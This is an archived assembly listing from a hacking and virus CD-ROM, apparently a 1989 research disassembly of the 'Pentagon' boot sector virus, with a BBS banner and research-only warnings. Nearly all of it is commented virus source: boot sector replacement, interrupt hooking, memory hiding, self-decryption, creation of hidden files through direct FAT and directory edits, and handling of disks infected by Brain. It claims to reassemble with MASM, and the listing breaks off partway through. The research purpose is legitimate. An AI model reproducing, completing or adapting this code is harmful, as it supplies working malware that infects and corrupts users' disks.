home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / PENTAGON.ASM < prev    next >
Assembly Source File  |  1992-05-21  |  28KB  |  989 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24.     page    65,132
  25.     title    The 'Pentagon' Virus
  26. ; ╔══════════════════════════════════════════════════════════════════════════╗
  27. ; ║                 British Computer Virus Research Centre                   ║
  28. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  29. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  30. ; ║                                                                          ║
  31. ; ║                          The 'Pentagon' Virus                            ║
  32. ; ║                Disassembled by Joe Hirst,      March 1989                ║
  33. ; ║                                                                          ║
  34. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  35. ; ║                                                                          ║
  36. ; ║      This listing is only to be made available to virus researchers      ║
  37. ; ║                or software writers on a need-to-know basis.              ║
  38. ; ╚══════════════════════════════════════════════════════════════════════════╝
  39.  
  40.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  41.  
  42.     ; The code section between offsets 59H and C4H (which is normally
  43.     ; encrypted) appears to have been separately assemblied using A86.
  44.  
  45.     ; Virus is possibly an honorary term, at least for this sample,
  46.     ; as all attempts to run it have so far failed.
  47.  
  48.     ; This virus consists of a boot sector and two files.
  49.     ; The boot sector is a normal PCDOS 3.20 boot sector with three
  50.     ; changes:
  51.  
  52.     ; 1.    The OEM name 'IBM' has been changed to 'HAL'.
  53.  
  54.     ; 2.    The first part of the virus code overwrites 036H to 0C5H.
  55.  
  56.     ; 3.    100H-122H has been overwritten by a character string.
  57.  
  58.     ; The name of the first file is the hex character 0F9H.  This file
  59.     ; contains the rest of the virus code followed by the original boot
  60.     ; sector.
  61.  
  62.     ; The name of the second file is PENTAGON.TXT.  This file does not
  63.     ; appear to be used in any way or contain any meaningful data.
  64.  
  65.     ; Both files are created without the aid of DOS, and the first
  66.     ; file is accessed by its stored absolute location.
  67.  
  68.     ; Four different sections of the virus are separately encrypted:
  69.  
  70.     ; 1.    004AH - 004BH, key 0ABCDH - load decryption key
  71.  
  72.     ; 2.    0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
  73.  
  74.     ; 3.    0791H - 07DFH, key 0AAH - the file name and copyright message.
  75.  
  76.     ; 4.    0800H - 09FFH, key 0FCH - the original boot sector.
  77.  
  78. SEG70    SEGMENT AT 70H
  79.     ASSUME    CS:SEG70
  80. EXIT:
  81. SEG70    ENDS
  82.  
  83. BOOT    SEGMENT AT 0
  84.  
  85.     ORG    413H
  86. BW0413    DW    ?
  87.  
  88.     ORG    417H
  89. BB0417    DB    ?
  90.  
  91.     ORG    51CH
  92. BW051C    DW    ?
  93.  
  94.     ORG    7C0BH
  95. DW7C0B    DW    ?
  96.  
  97.     ORG    7C18H
  98. DW7C18    DW    ?
  99. DW7C1A    DW    ?
  100.  
  101.     ORG    7C2AH
  102. DB7C2A    DB    ?
  103.  
  104.     ORG    7C37H
  105. DW7C37    DW    ?
  106. DW7C39    DW    ?
  107. DB7C3B    DB    ?
  108. DB7C3C    DB    ?
  109. DW7C3D    DW    ?
  110.  
  111.     ORG    7DB7H
  112. DB7DB7    DB    ?
  113.  
  114.     ORG    7DFDH
  115. DB7DFD    DB    ?
  116.  
  117.     ORG    7E00H
  118. DW7E00    DW    ?        ; DW008F - Track and sector of rest of code
  119. DW7E02    DW    ?        ; DW0091 - Head and drive of rest of code
  120. DW7E04    DW    ?        ; DW0093 - Segment address of virus
  121.  
  122. BOOT    ENDS
  123.  
  124. CODE    SEGMENT BYTE PUBLIC 'CODE'
  125.     ASSUME CS:CODE,DS:CODE
  126.  
  127.     IF1
  128.     ORG    206H
  129. BP0095X    LABEL    NEAR
  130.     ENDIF
  131.  
  132.     ORG    0
  133. START:    JMP    BP0036
  134.  
  135.     DB    'HAL  3.2'
  136.  
  137.     DW    512        ; BPB001 - Bytes per sector
  138.     DB    2        ; BPB002 - Sectors per allocation unit
  139.     DW    1        ; BPB003 - Reserved sectors
  140.     DB    2        ; BPB004 - Number of FATs
  141.     DW    112        ; BPB005 - Number of root dir entries
  142.     DW    720        ; BPB006 - Number of sectors
  143.     DB    0FDH        ; BPB007 - Media Descriptor
  144.     DW    2        ; BPB008 - Number of sectors per FAT
  145.     DW    9        ; BPB009 - Sectors per track
  146.     DW    2        ; BPB010 - Number of heads
  147.     DW    0        ; BPB011 - Number of hidden sectors (low order)
  148. BPB012    DW    0            ; Number of hidden sectors (high order)
  149.  
  150.     DB    10 DUP (0)
  151.  
  152. HEADNO    DB    0
  153.  
  154.     ; Interrupt 30 (1EH) - Disk parameter table
  155.  
  156. DSKTAB    DB    4 DUP (0), 0FH, 4 DUP (0)
  157.  
  158.     DB    1, 0
  159.  
  160. BP0036:    CLI
  161.     MOV    AX,CS            ; \ Set SS to CS
  162.     MOV    SS,AX            ; /
  163.     MOV    SP,0F000H        ; Set stack pointer
  164.     MOV    DS,AX            ; Set DS to CS
  165.     STI
  166.     MOV    BP,OFFSET BP0044+7C00H
  167. BP0044:    XOR    WORD PTR [BP+6],0ABCDH    ; Decrypt key instruction
  168.     NOP
  169. DW004A    EQU    THIS WORD
  170.     MOV    DH,0FCH            ; Decryption key
  171.     MOV    BP,OFFSET BP0059+7C00H    ; Decryption start address
  172.     MOV    CX,OFFSET DB00C5-BP0059    ; Length to decrypt
  173. BP0052:    XOR    [BP+00],DH        ; Decrypt a byte
  174.     INC    BP            ; Next byte
  175.     LOOP    BP0052            ; Repeat for all of it
  176.     NOP
  177. BP0059:    XOR    DW004A+7C00H,0ABCDH    ; Re-encrypt key instruction
  178.     MOV    AX,BW0413        ; Get RAM size in K
  179.     SUB    AX,0005            ; Subtract five K
  180.     MOV    BW0413,AX        ; Replace amended RAM size
  181.     MOV    CL,06            ; Bits to move
  182.     SHL    AX,CL            ; Convert to segment address
  183.     MOV    DW0093+7C00H,AX        ; Save segment address
  184.     NOP
  185.     MOV    ES,AX            ; Set ES to this segment
  186.     XOR    DI,DI            ; Move to start
  187.     MOV    SI,7C00H        ; From start of boot sector buffer
  188.     MOV    CX,0200H        ; Move one sector
  189.     CLD
  190.     REPZ    MOVSB            ; Move sector to high-core
  191.     NOP
  192.  
  193.     ; Move next section of code to a safe area
  194.  
  195.     MOV    DI,200H+7C00H
  196.     MOV    SI,OFFSET DW008F+7C00H
  197.     MOV    CX,OFFSET DB00C5-DW008F    ; Length to move
  198.     PUSH    DS            ; \ Set ES to DS
  199.     POP    ES            ; /
  200.     CLD
  201.     REPZ    MOVSB            ; Copy program section
  202.     JMP    BP0095X            ; This is BP0095 in new location
  203.  
  204. DW008F    DW    0B02H            ; Track and sector of rest of code
  205. DW0091    DW    100H            ; Head and drive of rest of code
  206. DW0093    DW    9EC0H            ; Segment address of virus
  207.  
  208. BP0095:    MOV    CX,0004            ; Number of retries
  209. BP0098:    PUSH    CX
  210.     MOV    CX,DW7E00        ; Get track and sector number
  211.     MOV    DX,DW7E02        ; Get head and drive number
  212.     MOV    ES,DW7E04        ; Get buffer segment address
  213.     MOV    BX,0200H        ; Buffer offset
  214.     MOV    AX,0201H        ; Read one sector
  215.     INT    13H            ; Disk I/O
  216.     JNB    BP00B8            ; Branch if no error
  217.     POP    CX
  218.     XOR    AH,AH            ; Reset floppy disk sub-system
  219.     INT    13H            ; Disk I/O
  220.     LOOP    BP0098            ; Retry
  221.     INT    18H            ; Drop into basic
  222.  
  223. BP00B8:    POP    CX
  224.     MOV    AX,OFFSET DW7E04        ; Address segment address
  225.     CLI
  226.     MOV    SP,AX            ; Point SP at segment address
  227.     STI
  228.     MOV    AX,0200H        ; \ Address of second section
  229.     PUSH    AX            ; /
  230.     RETF
  231.  
  232. DB00C5    DB    50H
  233.  
  234.     ; The rest of this sector is a normal PCDOS 3.20 boot sector
  235.     ; which has been overwritten at 100H-122H by a character string
  236.  
  237.     DB    61H, 0
  238.  
  239.     XOR    AH,AH
  240.     INT    16H
  241.     POP    SI
  242.     POP    DS
  243.     POP    [SI]
  244.  
  245. DW00D0    DW    0B06H            ; Track and sector numbers
  246. DW00D2    DW    0100H            ; Head and drive numbers
  247.     DB    19H
  248.  
  249.     MOV    SI,OFFSET DB7DB7
  250.     JMP    NEAR PTR DB00C5
  251.  
  252.     MOV    AX,BW051C
  253.     XOR    DX,DX
  254.     DIV    DW7C0B
  255.     INC    AL
  256.     MOV    DB7C3C,AL
  257.     MOV    AX,DW7C37
  258.     MOV    DW7C3D,AX
  259.     MOV    BX,0700H
  260.     MOV    AX,DW7C37
  261.     CALL    BP0137
  262.     MOV    AX,DW7C18
  263.     SUB    AL,DB7C3B
  264.     INC    AX
  265.     PUSH    AX
  266.  
  267.     DB    '(c) 1987 The Pentagon, Zorell Group'
  268.  
  269.     DB    7CH
  270.     JMP    FAR PTR EXIT
  271.  
  272. BP0129:    LODSB
  273.     OR    AL,AL
  274.     JZ    BP0150
  275.     MOV    AH,0EH
  276.     MOV    BX,7
  277.     INT    10H
  278.     JMP    BP0129
  279.  
  280. BP0137:    XOR    DX,DX
  281.     DIV    DW7C18
  282.     INC    DL
  283.     MOV    DB7C3B,DL
  284.     XOR    DX,DX
  285.     DIV    DW7C1A
  286.     MOV    DB7C2A,DL
  287.     MOV    DW7C39,AX
  288. BP0150:    RET
  289.  
  290.     MOV    AH,2
  291.     MOV    DX,DW7C39
  292.     MOV    CL,6
  293.     SHL    DH,CL
  294.     OR    DH,DB7C3B
  295.     MOV    CX,DX
  296.     XCHG    CH,CL
  297.     MOV    DL,DB7DFD
  298.     MOV    DH,DB7C2A
  299.     INT    13H
  300.     RET
  301.  
  302.     DB    0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
  303.     DB    'Replace and strike any key when ready', 0DH, 0AH, 0
  304.     DB    0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
  305.     DB    'IBMBIO  COMIBMDOS  COM'
  306.  
  307.     ORG    01FEH
  308.     DW    0AA55H
  309.  
  310.     ; Second sector of virus
  311.  
  312. BP0200:    CLI
  313.     MOV    SP,0F000H        ; Reset stack pointer
  314.     STI
  315.     XOR    AX,AX            ; \ Address zero
  316.     MOV    DS,AX            ; /
  317.     MOV    BX,004CH        ; INT 13H jump address
  318.     MOV    BP,01A0H        ; INT 68H jump address
  319.     CMP    WORD PTR DS:[BP+0],0    ; Is INT 68H in use
  320.     JE    BP0219            ; Branch if not
  321.     JMP    BP024E
  322.  
  323. BP0219:    MOV    AX,[BX]            ; Get INT 13H offset
  324.     MOV    DS:[BP+0],AX        ; Set INT 68H to this offset
  325.     MOV    AX,[BX+2]        ; Get INT 13H segment
  326.     MOV    DS:[BP+2],AX        ; Set INT 68H to this segment
  327.     MOV    WORD PTR [BX],OFFSET BP04C4    ; Set address of INT 13H routine
  328.     MOV    AX,CS            ; \ Set INT 13H segment
  329.     MOV    [BX+2],AX        ; /
  330.     MOV    BX,0024H        ; INT 9 jump address
  331.     MOV    BP,01A4H        ; INT 69H jump address
  332.     MOV    AX,[BX]            ; Get INT 9 offset
  333.     MOV    DS:[BP],AX        ; Set INT 69H to this offset
  334.     MOV    AX,[BX+2]        ; Get INT 9 segment
  335.     MOV    DS:[BP+2],AX        ; Set INT 69H to this segment
  336.     MOV    WORD PTR [BX],OFFSET BP0709    ; Set address of INT 9 routine
  337.     MOV    AX,CS            ; \ Set INT 9 segment
  338.     MOV    [BX+02],AX        ; /
  339.     JMP    BP0254
  340.  
  341. BP024E:    MOV    BX,OFFSET BW0413    ; Address size of RAM
  342.     ADD    WORD PTR [BX],5        ; Restore the 5K
  343. BP0254:    MOV    BP,OFFSET DW008F    ; Address virus pointer
  344.     MOV    CX,CS:[BP]        ; Get track and sector
  345.     MOV    DX,CS:[BP+2]        ; Get head and device
  346.     MOV    BX,0200H        ; Address second sector
  347.     MOV    CX,3            ; Three sectors to read
  348. BP0265:    PUSH    CX            ; Save read count
  349.     MOV    AX,0201H        ; Read one sector
  350.     MOV    CX,CS:[BP]        ; Get track and sector
  351.     CALL    BP0300            ; Address to next sector
  352.     MOV    CS:[BP],CX        ; Save new track and sector
  353.     ADD    BX,0200H        ; Address next buffer area
  354.     CALL    BP031B            ; Read from disk
  355.     JNB    BP0280            ; Branch if no error
  356.     POP    CX
  357.     INT    18H            ; Drop into basic
  358.  
  359.     ; Read file, first sector
  360.  
  361. BP0280:    POP    CX            ; Retrieve read count
  362.     LOOP    BP0265            ; Repeat for other sectors
  363.     MOV    BP,OFFSET DW00D0    ; Address file pointers
  364.     MOV    CX,CS:[BP]        ; Get track and sector
  365.     MOV    DX,CS:[BP+2]        ; Get head and drive
  366.     MOV    BX,1000H        ; Buffer address
  367.     MOV    AX,0201H        ; Read one sector
  368.     CALL    BP031B            ; Read from disk
  369.     JNB    BP029B            ; Branch if no error
  370.     INT    18H            ; Drop into basic
  371.  
  372.     ; Read file, second sector
  373.  
  374. BP029B:    CALL    BP0300            ; Address to next sector
  375.     ADD    BX,0200H        ; Update buffer address
  376.     MOV    AX,0201H        ; Read one sector
  377.     CALL    BP031B            ; Read from disk
  378.     JNB    BP02AC            ; Branch if no error
  379.     INT    18H            ; Drop into basic
  380.  
  381. BP02AC:    LEA    CX,DB07E0        ; Address end of encrypted
  382.     LEA    BX,DB0791        ; Address start of encrypted
  383.     SUB    CX,BX            ; Length to decrypt
  384.     MOV    AL,0AAH            ; Load encryption key
  385.     PUSH    CS            ; \ Set DS to CS
  386.     POP    DS            ; /
  387.     CALL    BP0315            ; Decrypt
  388.     MOV    AX,CS            ; \
  389.     MOV    ES,AX            ;  ) Set ES & DS to CS
  390.     MOV    DS,AX            ; /
  391.     MOV    DI,0100H        ; Middle of 1st sector
  392.     MOV    SI,OFFSET DB07BC    ; Address copyright message
  393.     MOV    CX,0023H        ; Length of copyright message
  394.     REPZ    MOVSB            ; Copy copyright message
  395.     PUSH    CS            ; \ Set DS to CS
  396.     POP    DS            ; /
  397.     MOV    CX,0200H        ; Length to decrypt
  398.     MOV    BX,0800H        ; Address boot sector store
  399.     MOV    AL,0FCH            ; Load encryption key
  400.     CALL    BP0315            ; Decrypt
  401.     XOR    AX,AX            ; \ Segment zero
  402.     MOV    ES,AX            ; /
  403.     MOV    DI,7C00H        ; Boot sector buffer
  404.     MOV    SI,0800H        ; Address boot sector store
  405.     MOV    CX,0200H        ; Sector length
  406.     CLD
  407.     REPZ    MOVSB            ; Copy boot sector
  408.     DB    0EAH            ; Far jump to boot sector
  409.     DW    7C00H, 0
  410.  
  411.     DB    16 DUP (0)
  412.  
  413.     ; Address to next sector
  414.  
  415. BP0300:    INC    CL            ; Increment sector number
  416.     CMP    CL,0AH            ; Is it sector ten?
  417.     JL    BP0314            ; Branch if not
  418.     MOV    CL,1            ; Set sector to one
  419.     INC    DH            ; Increment head
  420.     CMP    DH,2            ; Is it head two?
  421.     JL    BP0314            ; Branch if not
  422.     XOR    DH,DH            ; Set head to zero
  423.     INC    CH            ; Increment track
  424. BP0314:    RET
  425.  
  426.     ; Encrypt/decrypt
  427.  
  428. BP0315:    XOR    [BX],AL            ; Encrypt a byte
  429.     INC    BX            ; Address next byte
  430.     LOOP    BP0315            ; Repeat for count
  431.     RET
  432.  
  433.     ; Read from or write to disk
  434.  
  435. BP031B:    PUSH    SI
  436.     PUSH    DI
  437.     MOV    SI,AX            ; Save function
  438.     MOV    DI,CX            ; Save track and sector
  439.     MOV    CX,3            ; Number of retries
  440. BP0324:    PUSH    CX
  441.     MOV    AX,SI            ; Retrieve function
  442.     MOV    CX,DI            ; Retrieve track and sector
  443.     INT    68H            ; Disk I/O
  444.     JNB    BP0338            ; Branch if no error
  445.     XOR    AH,AH            ; Reset sub-system
  446.     INT    68H            ; Disk I/O
  447.     POP    CX            ; Retrieve number of retries
  448.     LOOP    BP0324            ; Retry
  449.     STC
  450.     JMP    BP033B
  451.  
  452. BP0338:    POP    CX            ; Retrieve number of retries
  453.     MOV    CX,DI            ; Retrieve track and sector
  454. BP033B:    POP    DI
  455.     POP    SI
  456.     RET
  457.  
  458.     ; Find unused FAT entry pair
  459.  
  460. BP033E:    PUSH    AX
  461.     PUSH    DX
  462.     PUSH    ES
  463.     PUSH    DI
  464.     PUSH    CS
  465.     POP    ES
  466.     MOV    DX,CX            ; Initial cluster number
  467.     XOR    AL,AL            ; Search for zero
  468. BP0348:    MOV    CX,3            ; Three bytes to check
  469.     MOV    DI,BX            ; Address FAT entry pair
  470.     REPZ    SCASB            ; Scan for non-zero
  471.     CMP    CX,0            ; Is FAT pair unused
  472.     JE    BP0361            ; Branch if yes
  473.     ADD    BX,3            ; Address next entry pair
  474.     ADD    DX,2            ; Update entry count
  475.     CMP    DX,0162H        ; Entry 354?
  476.     JLE    BP0348            ; Process entry pair if not
  477.     STC
  478. BP0361:    MOV    CX,DX            ; Cluster number found
  479.     POP    DI
  480.     POP    ES
  481.     POP    DX
  482.     POP    AX
  483.     RET
  484.  
  485.     ; Find and flag an unused entry
  486.  
  487. BP0368:    TEST    WORD PTR [BX],0FFFH    ; Test first FAT entry
  488.     JZ    BP0384            ; Branch if unused
  489.     INC    CX            ; Next entry number
  490.     INC    BX            ; Address 2nd entry
  491.     TEST    WORD PTR [BX],0FFF0H    ; Test second FAT entry
  492.     JZ    BP038B            ; Branch if unused
  493.     INC    CX            ; Next entry number
  494.     ADD    BX,2            ; Address next entry pair
  495.     CMP    CX,0163H        ; Entry 355?
  496.     JLE    BP0368            ; Process next FAT pair if not
  497.     STC
  498.     JMP    BP0390
  499.  
  500. BP0384:    OR    WORD PTR [BX],0FFFH    ; Flag 1st FAT entry EOF
  501.     JMP    BP038F
  502.  
  503. BP038B:    OR    WORD PTR [BX],0FFF0H    ; Flag 2nd FAT entry EOF
  504.     nop                ; ** length adjustment, MASM 5.0
  505. BP038F:    CLC
  506. BP0390:    RET
  507.  
  508.     ; Unflag Brain virus bad clusters
  509.  
  510. BP0391:    PUSH    AX
  511.     PUSH    BX
  512.     PUSH    CX
  513.     PUSH    DX
  514.     MOV    DX,CX
  515. BP0397:    MOV    AX,[BX]            ; Get FAT entry
  516.     AND    AX,0FFFH        ; Isolate FAT entry
  517.     CMP    AX,0FF7H        ; Bad cluster?
  518.     JE    BP03B8            ; Branch if yes
  519.     INC    DX            ; Add to cluster number
  520.     INC    BX            ; Address next entry
  521.     MOV    AX,[BX]            ; Get FAT entry
  522.     MOV    CL,4            ; Bits to move
  523.     SHR    AX,CL            ; Move FAT entry
  524.     CMP    AX,0FF7H        ; Bad Cluster?
  525.     JE    BP03C8            ; Branch if yes
  526.     INC    DX            ; Add to cluster number
  527.     ADD    BX,2            ; Address next pair of entries
  528.     CMP    DX,015FH        ; Entry 351?
  529.     JLE    BP0397            ; Process this pair if not
  530. BP03B8:    MOV    WORD PTR [BX],0        ; \
  531.     MOV    BYTE PTR [BX+2],0    ;  ) Clear three entries
  532.     XOR    WORD PTR [BX+3],0FF7H    ; /
  533.     JMP    BP03D5
  534.  
  535. BP03C8:    XOR    WORD PTR [BX],0FF7H    ; \
  536.     MOV    WORD PTR [BX+2],0    ;  ) Clear three entries
  537.     MOV    BYTE PTR [BX+4],0    ; /
  538. BP03D5:    POP    DX
  539.     POP    CX
  540.     POP    BX
  541.     POP    AX
  542.     RET
  543.  
  544.     ; Convert cluster number to track, head and sector
  545.  
  546. BP03DA:    PUSH    AX
  547.     PUSH    BX
  548.     SUB    CX,2            ; Subtract number of 1st cluster
  549.     ADD    CX,CX            ; Two sectors per cluster
  550.     ADD    CX,0CH            ; Add sector num of 1st cluster
  551.     MOV    AX,CX            ; Copy sector number
  552.     PUSH    AX            ; Save sector number
  553.     MOV    BL,9            ; Nine sectors per track
  554.     DIV    BL            ; Divide by sectors per track
  555.     INC    AH            ; First sector is one
  556.     MOV    CL,AH            ; Move sector number
  557.     XOR    AH,AH            ; Clear top of register
  558.     MOV    BL,2            ; Two heads
  559.     DIV    BL            ; Divide by heads
  560.     MOV    DH,AH            ; Move head number
  561.     POP    AX            ; Retrieve sector number
  562.     MOV    BL,12H            ; 18 sectors per track (both sides)
  563.     DIV    BL            ; Divide by sectors per track
  564.     MOV    CH,AL            ; Move track number
  565.     POP    BX
  566.     POP    AX
  567.     RET
  568.  
  569.     ; Update directory
  570.  
  571. BP0401:    PUSH    BX
  572.     PUSH    CX
  573.     PUSH    DX
  574.     PUSH    SI
  575.     PUSH    DI
  576.     MOV    CX,000FH        ; Fifteen entries per sector
  577.     XOR    DI,DI            ; Start of sector
  578.     CMP    AX,7            ; Is this first dir sector
  579.     JNE    BP0416            ; Branch if not
  580.     SUB    CX,3            ; Subtract three from count
  581.     ADD    DI,60H            ; Address fourth entry
  582. BP0416:    CMP    BYTE PTR CS:DB07E1,0FFH    ; Is Brain switch on?
  583.     JNE    BP0443            ; Branch if not
  584.     CMP    BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
  585.     JNE    BP0443            ; Branch if not
  586.     MOV    BYTE PTR CS:DB07E2,0FFH    ; Set directory update switch on
  587.     PUSH    SI
  588.     PUSH    DI
  589.     PUSH    CX
  590.     ADD    DI,BX            ; Add sector address
  591.     LEA    SI,DB07B1        ; Address label
  592.     MOV    CX,000BH        ; Length of new label
  593.     CLD
  594.     REPZ    MOVSB            ; Copy label
  595.     MOV    BYTE PTR CS:DB07E1,0    ; Set Brain switch off
  596.     POP    CX
  597.     POP    DI
  598.     POP    SI
  599. BP0443:    CMP    BYTE PTR ES:[BX+DI],0    ; Is entry unused?
  600.     JE    BP0452            ; Branch if yes
  601.     ADD    DI,20H            ; Address next entry
  602.     LOOP    BP0416            ; Process next entry
  603.     STC
  604.     JMP    BP0487
  605.  
  606. BP0452:    ADD    DI,BX            ; Add sector address
  607.     MOV    BX,DI            ; Move entry address
  608.     MOV    BYTE PTR [BX],0F9H    ; "Filename"
  609.     MOV    BYTE PTR [BX+0BH],23H    ; Read-only, hidden attributes
  610.     MOV    CX,CS:DW0784        ; Get virus cluster number
  611.     MOV    [BX+1AH],CX        ; Store starting cluster
  612.     MOV    WORD PTR [BX+1CH],0800H    ; \ File size 2048
  613.     MOV    WORD PTR [BX+1EH],0    ; /
  614.     ADD    DI,20H            ; Address next entry
  615.     MOV    BX,DI            ; Move entry address
  616.     LEA    SI,DB0791        ; Address start of encrypted
  617.     MOV    CX,0020H        ; One complete entry to move
  618.     CLD
  619.     REPZ    MOVSB            ; Move entry
  620.     MOV    CX,CS:DW0786        ; Get file cluster number
  621.     MOV    [BX+1AH],CX        ; Store starting cluster
  622.     CLC
  623. BP0487:    POP    DI
  624.     POP    SI
  625.     POP    DX
  626.     POP    CX
  627.     POP    BX
  628.     RET
  629.  
  630.     ; Read actual boot sector - Brain infected
  631.  
  632. BP048D:    PUSH    AX
  633.     PUSH    CX
  634.     PUSH    DX
  635.     MOV    CX,[BX+7]        ; Get track and sector
  636.     MOV    DH,[BX+6]        ; Get head number
  637.     MOV    AX,0201H        ; Read one sector
  638.     CALL    BP031B            ; Read from disk
  639.     POP    DX
  640.     POP    CX
  641.     POP    AX
  642.     RET
  643.  
  644.     ; Generate a sound
  645.  
  646. BP04A0:    MOV    BP,1            ; One loop
  647.     MOV    AL,0B6H            ; Counter two, both bytes, sq wave
  648.     OUT    43H,AL            ; Set PIT control register
  649.     MOV    AX,0533H        ; Sound frequency
  650.     OUT    42H,AL            ; Send first byte
  651.     MOV    AL,AH            ; Get second byte
  652.     OUT    42H,AL            ; Send second byte
  653.     IN    AL,61H            ; Get port B
  654.     MOV    AH,AL            ; Save port B value
  655.     OR    AL,3            ; Set sound bits on
  656.     OUT    61H,AL            ; Send port B
  657.     SUB    CX,CX            ; Maximum loop count
  658. BP04BA:    LOOP    BP04BA            ; Delay
  659.     DEC    BP            ; Decrement count of loops
  660.     JNZ    BP04BA            ; Branch if not zero (it won't be)
  661.     MOV    AL,AH            ; Recover original port B
  662.     OUT    61H,AL            ; Send port B
  663.     RET
  664.  
  665.     ; Int 13H routine
  666.  
  667. BP04C4:    STI
  668.     PUSH    AX
  669.     PUSH    BX
  670.     PUSH    CX
  671.     PUSH    DX
  672.     PUSH    DS
  673.     PUSH    SI
  674.     PUSH    ES
  675.     PUSH    DI
  676.     MOV    CS:DB0790,DL        ; Save device
  677.     CMP    AH,2            ; Is function a read?
  678.     JE    BP04DA            ; Branch if yes
  679.     JMP    BP06FC            ; Pass on to BIOS
  680.  
  681. BP04DA:    DEC    CS:DB07E0        ; Decrement count
  682.     JZ    BP04E4            ; Infect when zero
  683.     JMP    BP06FC            ; Pass on to BIOS
  684.  
  685.     ; Get boot sector
  686.  
  687. BP04E4:    MOV    BYTE PTR CS:DB07E0,10H    ; Set count to 16
  688.     PUSH    CS            ; \
  689.     POP    AX            ;  \ Set DS & ES to CS
  690.     MOV    DS,AX            ;  /
  691.     MOV    ES,AX            ; /
  692.     MOV    BX,0800H        ; Address boot sector store
  693.     MOV    CX,1            ; Track zero, sector one
  694.     MOV    DH,0            ; Head zero
  695.     MOV    DL,CS:DB0790        ; Load device
  696.     MOV    AX,0201H        ; Read one sector
  697.     CALL    BP031B            ; Read from disk
  698.     JNB    BP0508            ; Branch if no error
  699.     JMP    BP06FC            ; Pass on to BIOS
  700.  
  701.     ; Check for Brain virus
  702.  
  703. BP0508:    CMP    WORD PTR [BX+4],1234H    ; Is it a Brain boot sector?
  704.     JNE    BP051D            ; Branch if not
  705.     MOV    BYTE PTR CS:DB07E1,0FFH    ; Set Brain switch on
  706.     CALL    BP048D            ; Read actual boot sector
  707.     JNB    BP052D            ; Branch if no error
  708.     JMP    BP06FC            ; Pass on to BIOS
  709.  
  710.     ; Check for Pentagon virus
  711.  
  712. BP051D:    MOV    BYTE PTR CS:DB07E1,0    ; Set Brain switch off
  713.     CMP    WORD PTR [BX+4AH],577BH    ; Is it infected by pentagon?
  714.     JNE    BP052D            ; Branch if not
  715.     JMP    BP06FC            ; Pass on to BIOS
  716.  
  717.     ; Check for DOS boot sector
  718.  
  719. BP052D:    CMP    WORD PTR [BX+01FEH],0AA55H    ; Is it a valid boot sector
  720.     JE    BP0538            ; Branch if yes
  721.     JMP    BP06FC            ; Pass on to BIOS
  722.  
  723.     ; Get first FAT sector
  724.  
  725. BP0538:    ADD    BX,0200H        ; Update buffer address
  726.     INC    CL            ; Next sector
  727.     MOV    AX,0201H        ; Read one sector
  728.     CALL    BP031B            ; Read from disk
  729.     JNB    BP0549            ; Branch if no error
  730.     JMP    BP06FC            ; Pass on to BIOS
  731.  
  732.     ; Check media byte
  733.  
  734. BP0549:    CMP    BYTE PTR [BX],0FDH    ; Is it 360K disk
  735.     JE    BP0551            ; Branch if yes
  736.     JMP    BP06FC            ; Pass on to BIOS
  737.  
  738.     ; Get second sector of FAT
  739.  
  740. BP0551:    ADD    BX,0200H        ; Update buffer address
  741.     INC    CL            ; Next sector
  742.     MOV    AX,0201H        ; Read one sector
  743.     CALL    BP031B            ; Read from disk
  744.     JNB    BP0562            ; Branch if no error
  745.     JMP    BP06FC            ; Pass on to BIOS
  746.  
  747. BP0562:    CMP    BYTE PTR CS:DB07E1,0FFH    ; Test Brain switch
  748.     JNE    BP0573            ; Branch if off
  749.     MOV    BX,0A03H        ; Address first cluster in FAT
  750.     MOV    CX,2            ; First cluster is number two
  751.     CALL    BP0391            ; Unflag Brain virus bad clusters
  752. BP0573:    MOV    BX,0A96H        ; \ Start from cluster 100
  753.     MOV    CX,0064H        ; /
  754.     CALL    BP033E            ; Find unused FAT entry pair
  755.     JNB    BP0581            ; Branch if no error
  756.     JMP    BP06FC            ; Pass on to BIOS
  757.  
  758. BP0581:    MOV    CS:DW0784,CX        ; Save virus cluster number
  759.     INC    CX            ; Next cluster number
  760.     MOV    [BX],CX            ; Put it in first FAT entry
  761.     OR    WORD PTR [BX+01],0FFF0H    ; Flag 2nd entry as EOF
  762.     nop                ; ** length adjustment, MASM 5.0
  763.     DEC    CX            ; Set cluster number back
  764.     CALL    BP03DA            ; Cluster num to trck/hd/sect
  765.     MOV    CS:DW0788,CX        ; Save virus track & sector
  766.     MOV    CS:DW078A,DX        ; Save virus head and drive
  767.     PUSH    BP
  768.     MOV    BP,OFFSET DW008F    ; Address virus pointer
  769.     MOV    CS:[BP+00],CX        ; Save virus track & sector
  770.     MOV    CS:[BP+03],DH        ; Save virus head
  771.     POP    BP
  772.     MOV    BX,0A96H        ; \ Start from cluster 100
  773.     MOV    CX,0064H        ; /
  774.     CALL    BP0368            ; Find an unused FAT entry
  775.     JNB    BP05B7            ; Branch if no error
